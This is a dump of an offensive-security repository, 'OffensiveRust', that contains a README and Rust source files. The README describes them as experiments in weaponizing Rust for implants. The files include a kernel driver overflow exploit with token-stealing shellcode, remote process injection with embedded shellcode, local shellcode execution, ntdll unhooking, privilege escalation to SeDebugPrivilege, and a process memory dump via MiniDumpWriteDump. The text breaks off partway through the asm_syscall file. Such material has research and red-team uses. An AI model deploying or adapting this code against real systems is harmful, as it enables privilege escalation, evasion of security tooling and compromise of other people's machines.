├── Allocate_With_Syscalls ├── Cargo.toml └── src │ └── main.rs ├── Create_DLL ├── Cargo.toml └── src │ └── main.rs ├── DeviceIoControl ├── Cargo.toml └── src │ └── main.rs ├── EnableDebugPrivileges ├── Cargo.toml └── src │ └── main.rs ├── Execute_Without_Create_Process ├── Cargo.toml └── src │ └── main.rs ├── ImportedFunctionCall ├── Cargo.toml └── src │ └── main.rs ├── Kernel_Driver_Exploit ├── Cargo.toml └── src │ └── main.rs ├── Named_Pipe_Client ├── Cargo.toml └── src │ └── main.rs ├── Named_Pipe_Server ├── Cargo.toml └── src │ └── main.rs ├── Process_Injection_CreateThread ├── Cargo.toml └── src │ └── main.rs ├── README.md ├── Shellcode_Local_inject ├── Cargo.toml └── src │ └── main.rs ├── Unhooking ├── Cargo.toml └── src │ └── main.rs ├── asm_syscall ├── Cargo.toml └── src │ └── main.rs ├── base64_system_enum ├── Cargo.toml └── src │ └── main.rs ├── bindings.rs ├── http-https-requests ├── Cargo.toml └── src │ └── main.rs ├── offensiverust.png ├── patch_etw ├── Cargo.toml └── src │ └── main.rs ├── ppid_spoof ├── Cargo.toml └── src │ └── main.rs ├── tcp_ssl_client ├── Cargo.toml └── src │ └── main.rs ├── tcp_ssl_server ├── Cargo.toml └── src │ └── main.rs └── wmi_execute ├── Cargo.toml └── src └── main.rs /Allocate_With_Syscalls/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "Allocate_With_Syscalls" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | ntapi = "0.3.6" 10 | -------------------------------------------------------------------------------- /Allocate_With_Syscalls/src/main.rs: -------------------------------------------------------------------------------- 1 | extern crate ntapi; 2 | use ntapi::ntmmapi::NtAllocateVirtualMemory; 3 | use ntapi::ntpsapi::NtCurrentProcess; 4 | use std::ptr::null_mut; 5 | use ntapi::winapi::ctypes::c_void; 6 | 7 | fn main() { 8 | 9 | unsafe { 10 | let mut allocstart : *mut c_void = null_mut(); 11 | let mut seize : usize = 150; 12 | NtAllocateVirtualMemory(NtCurrentProcess,&mut allocstart,0,&mut seize, 0x00003000, 0x40); 13 | } 14 | 15 | } 16 | -------------------------------------------------------------------------------- /Create_DLL/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "Create_DLL" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | [dependencies] 10 | winapi = { version = "0.3.9", features = ["minwindef","winuser"] } 11 | 12 | [lib] 13 | crate-type = ["cdylib"] 14 | -------------------------------------------------------------------------------- /Create_DLL/src/main.rs: -------------------------------------------------------------------------------- 1 | #![cfg(windows)] 2 | use std::ptr::null_mut; 3 | use winapi::um::winuser::MessageBoxA; 4 | 5 | #[no_mangle] 6 | #[allow(non_snake_case, unused_variables)] 7 | 8 | pub extern "C" fn popit() { 9 | unsafe {MessageBoxA(null_mut(),"Rust DLL Test\0".as_ptr() as *const i8,"Rust DLL Test\0".as_ptr() as *const i8,0x00004000);} 10 | } 11 | 12 | 13 | //#[no_mangle] 14 | //#[allow(non_snake_case, unused_variables)] 15 | // fn DllMain( 16 | // dll_module: HINSTANCE, 17 | // call_reason: DWORD, 18 | // reserved: LPVOID) 19 | // -> BOOL 20 | // { 21 | // const DLL_PROCESS_ATTACH: DWORD = 1; 22 | // const DLL_PROCESS_DETACH: DWORD = 0; 23 | 24 | // match call_reason { 25 | // DLL_PROCESS_ATTACH => popit(), 26 | // DLL_PROCESS_DETACH => (), 27 | // _ => () 28 | // } 29 | // TRUE 30 | // } 31 | -------------------------------------------------------------------------------- /DeviceIoControl/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "DeviceIoControl" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | winapi = {version = "0.3.9", features=["fileapi", "ioapiset"]} 10 | -------------------------------------------------------------------------------- /DeviceIoControl/src/main.rs: -------------------------------------------------------------------------------- 1 | extern crate winapi; 2 | use winapi::um::fileapi::CreateFileA; 3 | use winapi::um::ioapiset::DeviceIoControl; 4 | use std::ptr::null_mut; 5 | 6 | fn main() { 7 | unsafe { 8 | trigger(); 9 | } 10 | } 11 | 12 | unsafe fn trigger() { 13 | let filename = r"\\.\ADevice\0"; 14 | let fd = CreateFileA(filename.as_ptr() as _, 0xC0000000, 0, null_mut(), 0x3, 0, null_mut()); 15 | let mut data = vec![b'A'; 2080]; 16 | DeviceIoControl(fd, 0x222000, data.as_ptr() as _, data.len() as _, null_mut(), 0, &mut 0, null_mut()); 17 | } 18 | 19 | -------------------------------------------------------------------------------- /EnableDebugPrivileges/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "EnableDebugPrivileges" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | winapi = {version = "0.3.9", features =["processthreadsapi","winnt","winbase","securitybaseapi"]} 10 | -------------------------------------------------------------------------------- /EnableDebugPrivileges/src/main.rs: -------------------------------------------------------------------------------- 1 | extern crate winapi; 2 | use winapi::um::processthreadsapi::{OpenProcessToken,GetCurrentProcess}; 3 | use winapi::um::winnt::{HANDLE,TOKEN_ADJUST_PRIVILEGES,TOKEN_QUERY,LUID_AND_ATTRIBUTES,SE_PRIVILEGE_ENABLED,TOKEN_PRIVILEGES}; 4 | use std::ptr::null_mut; 5 | use std::mem::size_of; 6 | use winapi::shared::ntdef::LUID; 7 | use winapi::um::securitybaseapi::AdjustTokenPrivileges; 8 | use winapi::um::winbase::LookupPrivilegeValueA; 9 | 10 | fn main() { 11 | unsafe{ 12 | let mut h_token: HANDLE = 0 as _; 13 | OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&mut h_token); 14 | let privs = LUID_AND_ATTRIBUTES {Luid: LUID { LowPart: 0, HighPart: 0,},Attributes: SE_PRIVILEGE_ENABLED,}; 15 | let mut tp = TOKEN_PRIVILEGES {PrivilegeCount: 1,Privileges: [privs ;1],}; 16 | let privilege = "SeDebugPrivilege\0"; 17 | let _ = LookupPrivilegeValueA(null_mut(),privilege.as_ptr() as *const i8,&mut tp.Privileges[0].Luid,); 18 | let _ = AdjustTokenPrivileges(h_token,0,&mut tp,size_of::() as _,null_mut(),null_mut()); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Execute_Without_Create_Process/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "Execute_Without_Create_Process" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /Execute_Without_Create_Process/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::process::Command; 2 | 3 | fn main() { 4 | //executes process via cmd in the same process context with .output 5 | if let Ok(command) = Command::new("cmd").arg("/c").arg("dir").output() { 6 | println!("{}",String::from_utf8_lossy(&command.stdout)) 7 | } 8 | //Spawns a new process with .spawn 9 | Command::new("notepad").spawn(); 10 | } 11 | -------------------------------------------------------------------------------- /ImportedFunctionCall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ImportedFunctionCall" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | kernel32-sys = "0.2.2" 10 | winapi = {version = "0.3.9", features =["processthreadsapi","winnt", "fileapi"]} 11 | -------------------------------------------------------------------------------- /ImportedFunctionCall/src/main.rs: -------------------------------------------------------------------------------- 1 | extern crate winapi; 2 | extern crate kernel32; 3 | use winapi::um::processthreadsapi::{OpenProcess,GetCurrentProcess}; 4 | use winapi::um::fileapi::{CreateFileA,CREATE_ALWAYS}; 5 | use winapi::um::winnt::{PROCESS_ALL_ACCESS,GENERIC_ALL,FILE_ATTRIBUTE_NORMAL,HANDLE}; 6 | use std::ptr::null_mut; 7 | 8 | 9 | fn main() { 10 | 11 | unsafe { 12 | let minidump: extern "stdcall" fn(HANDLE, u32, HANDLE, u32,*const (),*const (),*const ()); 13 | let hndls = OpenProcess(PROCESS_ALL_ACCESS,0,1234); 14 | let modu = "dbghelp.dll\0"; 15 | let handle = kernel32::LoadLibraryA(modu.as_ptr() as *const i8); 16 | let mthd = "MiniDumpWriteDump\0"; 17 | let mini = kernel32::GetProcAddress(handle, mthd.as_ptr() as *const i8); 18 | minidump = std::mem::transmute(mini); 19 | let path = "C:\\Users\\Public\\test.dmp\0"; 20 | let fd = CreateFileA(path.as_ptr() as _,GENERIC_ALL,0,null_mut(),CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,null_mut()); 21 | minidump(GetCurrentProcess(),1234,fd,0x00000002,null_mut(),null_mut(),null_mut()) 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Kernel_Driver_Exploit/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "Kernel_Driver_Exploit" 3 | version = "0.1.0" 4 | edition = "2018" 5 | authro = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | winapi = {version = "0.3.9", features=["fileapi", "ioapiset", "memoryapi"]} 10 | -------------------------------------------------------------------------------- /Kernel_Driver_Exploit/src/main.rs: -------------------------------------------------------------------------------- 1 | extern crate winapi; 2 | use winapi::um::fileapi::CreateFileA; 3 | use winapi::um::memoryapi::VirtualAlloc; 4 | use winapi::um::ioapiset::DeviceIoControl; 5 | use std::ptr::null_mut; 6 | use std::process::Command; 7 | 8 | //Cargo.toml : winapi = {version = "0.3.7", features=["fileapi", "ioapiset", "memoryapi"]} 9 | fn main() { 10 | unsafe { 11 | exploit(); 12 | } 13 | Command::new("cmd.exe").status().expect("failed :/"); 14 | } 15 | 16 | unsafe fn exploit() { 17 | let shellcode = b"\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00\x00\x89\x91\xf8\x00\x00\x00\x61\x31\xc0\x5d\xc2\x08\x00"; 18 | let filename = r"\\.\Device\0"; 19 | let fd = CreateFileA(filename.as_ptr() as _, 0xC0000000, 0, null_mut(), 0x3, 0, null_mut()); 20 | let alloc = VirtualAlloc(null_mut(), 0x100, 0x3000, 0x40) as *mut u8; 21 | alloc.copy_from(shellcode.as_ptr() as *mut u8, shellcode.len()); 22 | let mut data = vec![b'A'; 2080]; 23 | let bytes = (alloc as usize).to_le_bytes(); 24 | data.extend_from_slice(&bytes); 25 | DeviceIoControl(fd, 0x222000, data.as_ptr() as _, data.len() as _, null_mut(), 0, &mut 0, null_mut()); 26 | } 27 | -------------------------------------------------------------------------------- /Named_Pipe_Client/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "Named_Pipe_Client" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | winapi = {version = "0.3.9", features = ["winnt","fileapi","minwindef"]} 10 | -------------------------------------------------------------------------------- /Named_Pipe_Client/src/main.rs: -------------------------------------------------------------------------------- 1 | use winapi::um::winnt::{HANDLE,LPCSTR,GENERIC_READ,GENERIC_WRITE}; 2 | use winapi::um::fileapi::{CreateFileA,OPEN_EXISTING,ReadFile}; 3 | use std::ptr::null_mut; 4 | 5 | fn main() { 6 | unsafe { 7 | let mut bytes_read : u32 = 0; 8 | let mut buffer_read = vec![0u8;1024]; 9 | let pipe_name : LPCSTR = "\\\\.\\pipe\\rusttestpipe\0".as_ptr() as *const i8; 10 | let clientpipe : HANDLE = CreateFileA(pipe_name,GENERIC_READ | GENERIC_WRITE,0,null_mut(),OPEN_EXISTING,0,null_mut()); 11 | ReadFile(clientpipe,buffer_read.as_mut_ptr() as *mut winapi::ctypes::c_void,buffer_read.len() as u32,&mut bytes_read,null_mut()); 12 | println!("{}",String::from_utf8_lossy(&mut buffer_read)); 13 | } 14 | } 15 | 16 | 17 | -------------------------------------------------------------------------------- /Named_Pipe_Server/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "Named_Pipe_Server" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | winapi = {version = "0.3.9", features = ["winbase","winnt","namedpipeapi","fileapi","winbase"]} 10 | -------------------------------------------------------------------------------- /Named_Pipe_Server/src/main.rs: -------------------------------------------------------------------------------- 1 | use winapi::um::winbase::CreateNamedPipeA; 2 | use winapi::um::winnt::{HANDLE,LPCSTR}; 3 | use winapi::um::namedpipeapi::ConnectNamedPipe; 4 | use winapi::um::fileapi::WriteFile; 5 | use winapi::um::winbase::{PIPE_ACCESS_DUPLEX,PIPE_TYPE_MESSAGE}; 6 | use std::ptr::null_mut; 7 | 8 | fn main() { 9 | let mut bytes_written : u32 = 0; 10 | let message = "RUST IS GOOD FOR OFFSEC\0" ; 11 | let pipe_name : LPCSTR = "\\\\.\\pipe\\rusttestpipe\0".as_ptr() as *const i8; 12 | let server_pipe : HANDLE = unsafe {CreateNamedPipeA(pipe_name,PIPE_ACCESS_DUPLEX,PIPE_TYPE_MESSAGE,1,2048,2048,0,null_mut())}; 13 | unsafe {ConnectNamedPipe(server_pipe,null_mut())}; 14 | println!("Sending message to Pipe"); 15 | unsafe {WriteFile(server_pipe,message.as_ptr() as *const winapi::ctypes::c_void,message.len() as u32,&mut bytes_written,null_mut())}; 16 | } 17 | 18 | -------------------------------------------------------------------------------- /Process_Injection_CreateThread/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "Process_Injection_CreateThread" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | kernel32-sys = "0.2.2" 10 | winapi = {version = "0.3.9", features = ["winnt"] } 11 | -------------------------------------------------------------------------------- /Process_Injection_CreateThread/src/main.rs: -------------------------------------------------------------------------------- 1 | extern crate kernel32; 2 | use winapi::um::winnt::{PROCESS_ALL_ACCESS,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE}; 3 | use std::ptr; 4 | 5 | fn main() { 6 | let test : [u8;276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 7 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 8 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 9 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 10 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 11 | 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 12 | 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 13 | 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 14 | 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 15 | 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 16 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 17 | 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 18 | 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 19 | 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 20 | 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 21 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 22 | 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 23 | 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, 24 | 0x63,0x2e,0x65,0x78,0x65,0x00]; 25 | 26 | unsafe { 27 | let mut h = kernel32::OpenProcess(PROCESS_ALL_ACCESS, winapi::shared::ntdef::FALSE.into(), 31736); 28 | let mut addr = kernel32::VirtualAllocEx(h,ptr::null_mut(),test.len() as u64,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); 29 | let mut n = 0; 30 | kernel32::WriteProcessMemory(h,addr,test.as_ptr() as _, test.len() as u64,&mut n); 31 | let mut hThread = kernel32::CreateRemoteThread(h,ptr::null_mut(),0,Some(std::mem::transmute(addr)), ptr::null_mut(), 0,ptr::null_mut()); 32 | kernel32::CloseHandle(h); 33 | } 34 | } 35 | 36 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | OffensiveRust 3 |

4 | 5 | # OffensiveRust 6 | 7 | My experiments in weaponizing [Rust](https://www.rust-lang.org/) for implant development and general offensive operations. 8 | 9 | ## Table of Contents 10 | 11 | - [OffensiveRust](#offensiverust) 12 | * [Why Rust?](#why-rust) 13 | * [Examples in this repo](#examples-in-this-repo) 14 | * [Compiling the examples](#compiling-the-examples-in-this-repo) 15 | * [Compiling the examples in this repo](#Compiling-the-examples-in-this-repo) 16 | * [Cross Compiling](#cross-compiling) 17 | * [Optimizing executables for size](#optimizing-executables-for-size) 18 | * [Pitfalls I found myself falling into](#pitfalls-i-found-myself-falling-into) 19 | * [Interesting Rust Libraries](#interesting-Rust-libraries) 20 | * [Opsec](#Opsec) 21 | * [Other projects I have have made in Rust](#Other-projects-I-have-made-in-Rust) 22 | 23 | ## Why Rust? 24 | 25 | - It is faster than languages like C/C++ 26 | - It is multi-purpose language, bearing excellent communities 27 | - It has an amazing inbuilt dependency build management called Cargo 28 | - It is LLVM based which makes it a very good candidate for bypassing static AV detection 29 | - Super easy cross compilation to Windows from *nix/MacOS, only requires you to install the `mingw` toolchain, although certain libraries cannot be compiled successfully in other OSes. 30 | 31 | ## Examples in this repo 32 | 33 | | File | Description | 34 | | --- | --- | 35 | | [Allocate_With_Syscalls](../master/Allocate_With_Syscalls/src/main.rs) | It uses NTDLL functions directly with the ntapi Library | 36 | | [Create_DLL](../master/Create_DLL/src/main.rs) | Creates DLL and pops up a msgbox, Rust does not fully support this so things might get weird since Rust DLL do not have a main function | 37 | | [DeviceIoControl](../master/DeviceIoControl/src/main.rs) | Opens driver handle and executing DeviceIoControl | 38 | | [EnableDebugPrivileges](../master/EnableDebugPrivileges/src/main.rs) | Enable SeDebugPrivilege in the current process | 39 | | [Shellcode_Local_inject](../master/Shellcode_Local_inject/src/main.rs) | Executes shellcode directly in local process by casting pointer | 40 | | [Execute_With_CMD](../master/Execute_Without_Create_Process/src/main.rs) | Executes cmd by passing a command via Rust | 41 | | [ImportedFunctionCall](../master/ImportedFunctionCall/src/main.rs) | It imports minidump from dbghelp and executes it | 42 | | [Kernel_Driver_Exploit](../master/Kernel_Driver_Exploit/src/main.rs) | Kernel Driver exploit for a simple buffer overflow | 43 | | [Named_Pipe_Client](../master/Named_Pipe_Client/src/main.rs) | Named Pipe Client | 44 | | [Named_Pipe_Server](../master/Named_Pipe_Server/src/main.rs) | Named Pipe Server | 45 | | [Process_Injection_CreateThread](../master/Process_Injection_CreateThread/src/main.rs) | Process Injection in remote process with CreateRemoteThread | 46 | | [Unhooking](../master/Unhooking/src/main.rs) | Unhooking calls| 47 | | [asm_syscall](../master/asm_syscall/src/main.rs) | Obtaining PEB address via asm | 48 | | [base64_system_enum](../master/base64_system_enum/src/main.rs) | Base64 encoding/decoding strings | 49 | | [http-https-requests](../master/http-https-requests/src/main.rs) | HTTP/S requests by ignoring cert check for GET/POST | 50 | | [patch_etw](../master/patch_etw/src/main.rs) | Patch ETW | 51 | | [ppid_spoof](../master/ppid_spoof/src/main.rst) | Spoof parent process for created process | 52 | | [tcp_ssl_client](../master/tcp_ssl_client/src/main.rs) | TCP client with SSL that ignores cert check (Requires openssl and perl to be installed for compiling) | 53 | | [tcp_ssl_server](../master/tcp_ssl_server/src/main.rs) | TCP Server, with port parameter(Requires openssl and perl to be installed for compiling) | 54 | | [wmi_execute](../master/wmi_execute/src/main.rs) | Executes WMI query to obtain the AV/EDRs in the host| 55 | | [Windows.h+ Bindings](../master/bindings.rs) | This file contains structures of Windows.h plus complete customized LDR,PEB,etc.. that are undocumented officially by Microsoft, add at the top of your file include!("../bindings.rs"); | 56 | 57 | ## Compiling the examples in this repo 58 | 59 | This repository does not provide binaries, you're gonna have to compile them yourself. 60 | 61 | [Install Rust](https://www.rust-lang.org/tools/install) 62 | Simply download the binary and install. 63 | 64 | This repo was compiled in Windows 10 so I would stick to it. As mentioned OpenSSL binaries will have depencency issues that will require OpenSSL and perl to be installed. 65 | For the TCP SSL client/server I recommend static build due to dependencies on the hosts you will execute the binaries. 66 | For creating a project, execute: 67 | `cargo new ` 68 | This will automatically create the structured project folders with: 69 | 70 | ```bash 71 | project 72 | ├── Cargo.toml 73 | └── src 74 | └── main.rs 75 | ``` 76 | 77 | Cargo.toml is the file that contains the dependencies and the configuration for the compilation. 78 | main.rs is the main file that will be compiled along with any potential directories that contain libraries. 79 | 80 | For compiling the project, go into the project directory and execute: 81 | `cargo build` 82 | 83 | This will use your default toolchain. 84 | If you want to build the final "release" version execute: 85 | `cargo build --release` 86 | 87 | For static binaries, in terminal before the build command execute: 88 | `"C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars64.bat"` 89 | `set RUSTFLAGS=-C target-feature=+crt-static` 90 | 91 | In case it does not feel easy for you to read my code the way it is written, 92 | you can also you the below command inside the project directory to format it in a better way 93 | `cargo fmt` 94 | 95 | Certain examples might not compile and give you some error, since it might require a nightly 96 | build of Rust with the latest features. To install it just do: 97 | `rustup default nightly` 98 | 99 | 100 | 101 | The easiest place to find the dependencies or [Crates](https://crates.io/) as they are called. 102 | 103 | ## Cross Compiling 104 | 105 | Cross-Compiling requires to follow the instructions [here](https://rust-lang.github.io/rustup/cross-compilation.html) 106 | By installing different toolchains, you can cross compile with the below command 107 | `cargo build --target ` 108 | 109 | To see the installed toolchains on your system do: 110 | `rustup toolchain list` 111 | 112 | For checking all the available toolchains you can install in your system do: 113 | `rustup target list` 114 | 115 | For installing a new toolchain do: 116 | `rustup toolchain install ` 117 | 118 | 119 | ## Optimizing executables for size 120 | 121 | This [repo](https://github.com/johnthagen/min-sized-rust) contains a lot of configuration options and ideas about reducing the file size. 122 | Static binaries are usually quite big. 123 | 124 | ## Pitfalls I found myself falling into 125 | 126 | Careful of \0 bytes, do not forget them for strings in memory, I spent a lot of my time but windbg always helped resolving it. 127 | 128 | 129 | ## Interesting Rust libraries 130 | 131 | -WINAPI 132 | -[WINAPI2](https://github.com/MauriceKayser/rs-winapi2) 133 | -Windows - This is the official Microsoft one that I have not played much with 134 | 135 | ## OPSEC 136 | 137 | -Even though Rust has good advantages it is quite difficult to get used to it and it ain't very intuitive. 138 | -Shellcode generation is another issue due to LLVM. I have found a few ways to approach this. 139 | [Donut](https://github.com/TheWover/donut) sometimes does generate shellcode that works but depending on how the project is made, it might not. 140 | In general, for shellcode generation the tools that are made should be made to host all code in .text segment, 141 | which leads to this amazing [repo](https://github.com/b1tg/rust-windows-shellcode). 142 | There is a shellcode sample in this project that can show you how to structure your code for successfull shellcode generation. 143 | In addition, this project also has a shellcode generator that grabs the .text segment of a binary and 144 | and dumps the shellcode after executing some patches. 145 | This project grabs from a specific location the binary so I made a fork that receives the path of the binary as an argument [here](https://github.com/trickster0/rust-windows-shellcode-custom). 146 | 147 | ## Other projects I have have made in Rust 148 | 149 | -[UDPlant](https://github.com/trickster0/UDPlant) - Basically a UDP reverse shell 150 | -[EDR Detector](https://github.com/trickster0/EDR_Detector) - Detects the EDRs of the installed system according to the .sys files installed 151 | -[Lenum](https://github.com/trickster0/Lenum) - A simple unix enumeration tool 152 | -------------------------------------------------------------------------------- /Shellcode_Local_inject/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "Exec_Shellcode_In_Memory" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /Shellcode_Local_inject/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::mem; 2 | 3 | #[no_mangle] 4 | #[link_section = ".text"] 5 | static TEST : [u8;276] = *b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; 6 | 7 | fn main() { 8 | let exec_data: extern "C" fn () -> ! = unsafe { mem::transmute(&TEST as *const _ as *const ()) }; 9 | exec_data(); 10 | } 11 | -------------------------------------------------------------------------------- /Unhooking/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "rust-unhooking" 3 | version = "0.1.0" 4 | edition = "2018" 5 | authro = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | kernel32-sys = "0.2.2" 10 | winapi = {version = "0.3.9", features =["processthreadsapi","handleapi","memoryapi"]} 11 | -------------------------------------------------------------------------------- /Unhooking/src/main.rs: -------------------------------------------------------------------------------- 1 | extern crate kernel32; 2 | extern crate winapi; 3 | use std::ptr::null_mut; 4 | use winapi::ctypes::c_void; 5 | use winapi::um::processthreadsapi::GetCurrentProcess; 6 | use winapi::um::memoryapi::WriteProcessMemory; 7 | 8 | fn main() { 9 | unsafe { 10 | let handle = kernel32::LoadLibraryA("ntdll\0".as_ptr() as *const i8); 11 | let mini = kernel32::GetProcAddress(handle, "NtClose\0".as_ptr() as *const i8); 12 | WriteProcessMemory(GetCurrentProcess(),mini as *mut c_void, b"\x4C\x8B\xD1\xB8\x0E".as_ptr() as *mut c_void,5,null_mut()); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /asm_syscall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "asm_syscall" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /asm_syscall/src/main.rs: -------------------------------------------------------------------------------- 1 | #![feature(asm)] 2 | 3 | fn main() { 4 | let rax:u64; 5 | unsafe { 6 | asm!( 7 | "push rbx", 8 | "xor rbx, rbx", 9 | "xor rax, rax", 10 | 